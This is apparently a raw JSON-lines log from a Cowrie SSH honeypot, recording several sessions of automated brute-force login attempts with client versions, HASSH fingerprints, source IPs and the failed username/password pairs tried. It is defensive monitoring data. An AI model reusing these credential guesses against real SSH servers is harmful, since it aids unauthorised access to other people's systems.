{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":33040,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db57d097eec","protocol":"ssh","message":"New connection: 172.105.63.214:33040 (159.203.135.109:22) [session: 1db57d097eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:33.255083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:33.262353Z","src_ip":"172.105.63.214","session":"1db57d097eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:33.457100Z","src_ip":"172.105.63.214","session":"1db57d097eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsa","password":"password","message":"login attempt [elsa/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:33.849782Z","src_ip":"172.105.63.214","session":"1db57d097eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:41:35.046569Z","src_ip":"172.105.63.214","session":"1db57d097eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":41542,"dst_ip":"159.203.135.109","dst_port":22,"session":"20da84395460","protocol":"ssh","message":"New connection: 45.78.207.244:41542 (159.203.135.109:22) [session: 20da84395460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:01.323823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:01.328932Z","src_ip":"45.78.207.244","session":"20da84395460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:01.564401Z","src_ip":"45.78.207.244","session":"20da84395460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hdoop","password":"12345678","message":"login attempt [hdoop/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:04.865944Z","src_ip":"45.78.207.244","session":"20da84395460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:06.115747Z","src_ip":"45.78.207.244","session":"20da84395460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51550,"dst_ip":"159.203.135.109","dst_port":22,"session":"37f007fb665c","protocol":"ssh","message":"New connection: 81.177.101.45:51550 (159.203.135.109:22) [session: 37f007fb665c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:07.062004Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":40518,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf6813c1d1b7","protocol":"ssh","message":"New connection: 159.223.94.92:40518 (159.203.135.109:22) [session: bf6813c1d1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:10.482601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:10.487110Z","src_ip":"159.223.94.92","session":"bf6813c1d1b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:10.733857Z","src_ip":"159.223.94.92","session":"bf6813c1d1b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"123456","message":"login attempt [andre/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:11.744277Z","src_ip":"159.223.94.92","session":"bf6813c1d1b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:12.993431Z","src_ip":"159.223.94.92","session":"bf6813c1d1b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":50312,"dst_ip":"10.17.0.5","dst_port":22,"session":"94878676b1a6","protocol":"ssh","message":"New connection: 5.75.137.141:50312 (10.17.0.5:22) [session: 94878676b1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:44.488544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:44.491791Z","src_ip":"5.75.137.141","session":"94878676b1a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:44.579273Z","src_ip":"5.75.137.141","session":"94878676b1a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pamela","password":"pamela","message":"login attempt [pamela/pamela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:44.757665Z","src_ip":"5.75.137.141","session":"94878676b1a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:42:45.846356Z","src_ip":"5.75.137.141","session":"94878676b1a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":38452,"dst_ip":"159.203.135.109","dst_port":22,"session":"12354275ba56","protocol":"ssh","message":"New connection: 131.161.249.165:38452 (159.203.135.109:22) [session: 12354275ba56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:13.685524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:13.690256Z","src_ip":"131.161.249.165","session":"12354275ba56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:13.813972Z","src_ip":"131.161.249.165","session":"12354275ba56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"Ts3123","message":"login attempt [ts3/Ts3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:14.341715Z","src_ip":"131.161.249.165","session":"12354275ba56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:15.467208Z","src_ip":"131.161.249.165","session":"12354275ba56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":55014,"dst_ip":"159.203.135.109","dst_port":22,"session":"023a4e9ab3ac","protocol":"ssh","message":"New connection: 172.178.16.179:55014 (159.203.135.109:22) [session: 023a4e9ab3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:17.936977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:19.193795Z","src_ip":"172.178.16.179","session":"023a4e9ab3ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:19.204074Z","src_ip":"172.178.16.179","session":"023a4e9ab3ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rodrigo","password":"123","message":"login attempt [rodrigo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:19.442956Z","src_ip":"172.178.16.179","session":"023a4e9ab3ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:20.496436Z","src_ip":"172.178.16.179","session":"023a4e9ab3ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35608,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b21154c57bb","protocol":"ssh","message":"New connection: 2.57.122.238:35608 (159.203.135.109:22) [session: 2b21154c57bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:25.792989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:25.797339Z","src_ip":"2.57.122.238","session":"2b21154c57bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:25.897779Z","src_ip":"2.57.122.238","session":"2b21154c57bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:26.195401Z","src_ip":"2.57.122.238","session":"2b21154c57bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:27.296837Z","src_ip":"2.57.122.238","session":"2b21154c57bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":38778,"dst_ip":"159.203.135.109","dst_port":22,"session":"27724f07bb51","protocol":"ssh","message":"New connection: 5.75.137.141:38778 (159.203.135.109:22) [session: 27724f07bb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:36.406207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:36.410047Z","src_ip":"5.75.137.141","session":"27724f07bb51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:43:36.497559Z","src_ip":"5.75.137.141","session":"27724f07bb51","protocol":"ssh"}
